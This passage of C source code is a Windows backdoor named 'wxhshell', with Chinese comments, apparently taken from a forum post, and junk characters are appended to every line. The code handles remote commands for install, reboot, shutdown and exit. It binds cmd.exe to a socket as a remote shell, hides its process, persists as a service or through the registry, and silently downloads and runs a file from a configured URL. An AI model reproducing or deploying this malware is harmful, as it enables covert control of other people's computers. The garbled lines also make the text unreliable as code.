  9bhubx\^/  
  // 帮助 (\o4 c0UzK  
  case '?': { =R"LB}>h}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P@D\5}*6  
    break; a_-@rceU  
  } w|Ry) [  
  // 安装 f8ZuG !U  
  case 'i': { #lc6-K#  
    if(Install()) d2TIG<6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5A<}*T  
    else ydA@@C\&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p{:y?0pGN  
    break; -9;?k{{[T  
    } GFju:8P?  
  // 卸载 +o):grWvQ  
  case 'r': { QN|=/c<U  
    if(Uninstall()) mX!*|$bs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]uH7-YvL/  
    else ZH*h1?\X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +TX4,"  
    break; yz,0 S'U  
    } H_Xk;fM  
  // 显示 wxhshell 所在路径 uUV"86B_  
  case 'p': { , &n"#  
    char svExeFile[MAX_PATH]; XE&h&v=>  
    strcpy(svExeFile,"\n\r"); 6nR EuT'k  
      strcat(svExeFile,ExeFile); 3SI0etVr  
        send(wsh,svExeFile,strlen(svExeFile),0); HA7%8R*.2i  
    break; O /:FY1  
    } G:y+yE4  
  // 重启 &n#yxv4  
  case 'b': { BO7XN;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J Vxja<43  
    if(Boot(REBOOT)) 0Lb{HLT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); luyu7`  
    else { RWX!d54&  
    closesocket(wsh); :H&G}T(#  
    ExitThread(0); :KR KD  
    } ?#fm-5WIi  
    break; I>##iiKN  
    } Od ^Sr4C  
  // 关机 z&Aya*0v`  
  case 'd': { {jH'W)nR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w^("Pg`  
    if(Boot(SHUTDOWN)) T\(k=0R M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |i #06jIq  
    else { #ti%hm  
    closesocket(wsh); :Ocw+X3  
    ExitThread(0); t`{T:Tjc  
    } 7S^G]g!x  
    break; $zU%?[J  
    } HTz`$9  
  // 获取shell 8ICV"8(  
  case 's': { VumM`SH  
    CmdShell(wsh); s$? LMfT  
    closesocket(wsh); SWY  
    ExitThread(0); M_-L#FHX  
    break; v;U5[  
  } 1r_V$o$  
  // 退出 X,#~[%h$-=  
  case 'x': { f$n5$hJlQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :=TIq  
    CloseIt(wsh); Ir5|H|b<  
    break; Gk/cP`  
    } 9jX_Eoxy  
  // 离开 Crg'AB?  
  case 'q': { |FM*1Q[1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "}`)s_rt  
    closesocket(wsh); qk3|fW/-  
    WSACleanup(); g}W|q"l?i  
    exit(1); A_9J ~3  
    break; t89Tt@cf  
        } =-X-${/  
  } s.Bb@Jq  
  } Y&8,f|{R  
#0Y_!'j  
  // 提示信息 6]d]0TW_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *o4a<.hd2  
} Rz|@BxB>n  
  } gGUKB2)  
u:2Ll[ eo  
  return; ~6@`;s`[Y  
} |*UB/8C^/!  
u4w!SD  
// shell模块句柄 z\A ),;  
int CmdShell(SOCKET sock) S#v3%)R  
{ LybaE~=  
STARTUPINFO si; rzn,N FI  
ZeroMemory(&si,sizeof(si)); L YF|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P/|1,S k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <Nqbp  
PROCESS_INFORMATION ProcessInfo;  w:QO@  
char cmdline[]="cmd"; / + %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nHk^trGm  
  return 0; :op_J!;  
} ],S {?!'1  
9jqsEd-SW  
// 自身启动模式  =g M@[2  
int StartFromService(void) 3N|z^6`#  
{ Wu'qpJ  
typedef struct @`:X,]{  
{ Q=xXj'W-  
  DWORD ExitStatus; %kV7 <:y  
  DWORD PebBaseAddress; ,>S7c  
  DWORD AffinityMask; cPNc$^Y  
  DWORD BasePriority; O.ce=E  
  ULONG UniqueProcessId; E'DHO2 Y  
  ULONG InheritedFromUniqueProcessId; |?2fq&2  
}   PROCESS_BASIC_INFORMATION; -Z$u[L [c  
'u;O2$  
PROCNTQSIP NtQueryInformationProcess; _3yG<'f[Y  
Z 9+fTT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `w\P- q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9yC22C:  
L}Y.xi  
  HANDLE             hProcess; jJNCNH*0  
  PROCESS_BASIC_INFORMATION pbi; D\-\U E/  
o#,^7ln  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yvoz 3_!  
  if(NULL == hInst ) return 0; 7\,9Gcv1  
bC1G5`v_D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !LwHKCj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gw$5<%sB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~<n.5q%Z  
)B0%"0?`8  
  if (!NtQueryInformationProcess) return 0; >!xyA;  
/0XMQy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mA+:)?e5~  
  if(!hProcess) return 0; ()l3X.t,$  
~BmA!BZV`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ji1vLu4|t  
yW= +6@A4  
  CloseHandle(hProcess); C$1W+(  
]>VG}e~b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >- \bLr  
if(hProcess==NULL) return 0; r.\L@Y<  
K8&;B)VT>  
HMODULE hMod; % (y{Sca  
char procName[255]; c:Nm!+5_(  
unsigned long cbNeeded; F9u?+y-xb  
~EPVu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?l^Xauk4Pj  
KaNs>[a8  
  CloseHandle(hProcess); nOL"6%q  
mnsl$H_4S  
if(strstr(procName,"services")) return 1; // 以服务启动 d/&> `[i  
I1U2wD  
  return 0; // 注册表启动 \}?X5X>  
} $0E+8xE  
8'8`xu$  
// 主模块 wc4BSJa,19  
int StartWxhshell(LPSTR lpCmdLine) ]2wxqglh)  
{ ]$[sfPKA  
  SOCKET wsl; aIV / c  
BOOL val=TRUE; T"_'sSI>tF  
  int port=0; *(F`NJ 3  
  struct sockaddr_in door; WYUDD_m  
mOsp~|d  
  if(wscfg.ws_autoins) Install(); =Nxkr0])!  
Q S&B"7;g  
port=atoi(lpCmdLine); bItcF$#!!!  
VWvSt C  
if(port<=0) port=wscfg.ws_port; LZRg%3.E  
{7OHEArv  
  WSADATA data; c0gVW~I1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;mG*Rad  
:-46"bP.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   67II9\/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); + O.-o/  
  door.sin_family = AF_INET; 2M-[x"\1/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P9 <U+\z  
  door.sin_port = htons(port); &3[oM)-V  
5*pzL0,Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AAevN3a#nI  
closesocket(wsl); vt|R)[,  
return 1; g 4[Vgmh J  
} U%nkPIFm  
<h7cQ  
  if(listen(wsl,2) == INVALID_SOCKET) { ,RV qYh(-|  
closesocket(wsl); _{Kmj,q  
return 1; g"evnp  
} -)`_w^Ox  
  Wxhshell(wsl); 5QMra5Nk  
  WSACleanup(); J +u}uN@  
v _MQ]X  
return 0; l<`>  
(90/,@6 6l  
} e"nm<&  
b|d-vnYE  
// 以NT服务方式启动 52e>f5m.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <W"W13*j!  
{ FmL]|~  
DWORD   status = 0; br[iRda@  
  DWORD   specificError = 0xfffffff; Rm} ym9  
^}_Ka//k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WTJ 0Q0U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1`&`y%c?B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hxO}'`:  
  serviceStatus.dwWin32ExitCode     = 0; mLX/xM/T?/  
  serviceStatus.dwServiceSpecificExitCode = 0;  x]+PWk  
  serviceStatus.dwCheckPoint       = 0; "jFf}"  
  serviceStatus.dwWaitHint       = 0; )D,KG_7l  
6l]X{A.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A9$x8x*Lt  
  if (hServiceStatusHandle==0) return; *VZ|Idp  
hH8&g%{2  
status = GetLastError(); $ F2Uv\7=  
  if (status!=NO_ERROR) dZU#lg  
{ c{1;x)L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^,>w`8  
    serviceStatus.dwCheckPoint       = 0; o|kykxcq  
    serviceStatus.dwWaitHint       = 0; 5X)8Nwbc  
    serviceStatus.dwWin32ExitCode     = status; xh;V4zK@`  
    serviceStatus.dwServiceSpecificExitCode = specificError; e5|lz.o;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #).$o~1ht!  
    return; fjh|V9H  
  } C$OVN$lL`8  
pH1!6X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D0D=;k   
  serviceStatus.dwCheckPoint       = 0; BzzC|  
  serviceStatus.dwWaitHint       = 0; b2m={q(s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Nf{;G!kg  
} $TI^8 3  
i+Z)`  
// 处理NT服务事件,比如:启动、停止 O$,F ga  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )U@9dV7u  
{ utlr|m Xc  
switch(fdwControl) .uuhoqG0  
{ >t+U`6xK  
case SERVICE_CONTROL_STOP: =@HS  
  serviceStatus.dwWin32ExitCode = 0; /eF@a!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S /hx\TzC  
  serviceStatus.dwCheckPoint   = 0; /Z:j:l  
  serviceStatus.dwWaitHint     = 0; No^gKh24  
  { `2mddx8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Joow{75K  
  } -NBVUUAgN  
  return; V(MYReaPC]  
case SERVICE_CONTROL_PAUSE: f[@96p ?a[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .H" ?& Mf  
  break; AUnfhk@$  
case SERVICE_CONTROL_CONTINUE: 8tj]@GE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [C'bfX5HB5  
  break; 2c `m=  
case SERVICE_CONTROL_INTERROGATE: wPlM= .Hq?  
  break; jm}CrqU  
}; Y{YbKKM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2HE@!*z9H  
} X0/slOT  
NJUKH1lIhR  
// 标准应用程序主函数 `Ij@;=(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^q:-ZgM>  
{ b}[S+G-9W  
3Z!%td5n  
// 获取操作系统版本 1EyN |m|  
OsIsNt=GetOsVer(); k# [!; <  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S,#1^S  
5S~ H[>A"  
  // 从命令行安装 z$~x 2<  
  if(strpbrk(lpCmdLine,"iI")) Install(); F9K%f&0 a  
xye-Z\-t  
  // 下载执行文件 gjS|3ED  
if(wscfg.ws_downexe) { '!HTE` Aj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ds9)e&yYrb  
  WinExec(wscfg.ws_filenam,SW_HIDE); `2lS@  
} n6/Ous  
WyN ;lId  
if(!OsIsNt) { GAz -yCJp  
// 如果时win9x,隐藏进程并且设置为注册表启动 kpm;ohd  
HideProc(); >Bt82ibN  
StartWxhshell(lpCmdLine); M5dYcCDE  
} NkZG   
else bZqTT~'T  
  if(StartFromService()) ]G/m,Zv*:  
  // 以服务方式启动 =RoG?gd{R  
  StartServiceCtrlDispatcher(DispatchTable); eV9U+]C`  
else Pvxb6\G&d  
  // 普通方式启动 -`O{iHfM|P  
  StartWxhshell(lpCmdLine); f1 ;  
%w`d  
return 0; m'o dVZ7  
}
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只看该作者 1 发表于: 2006-10-10
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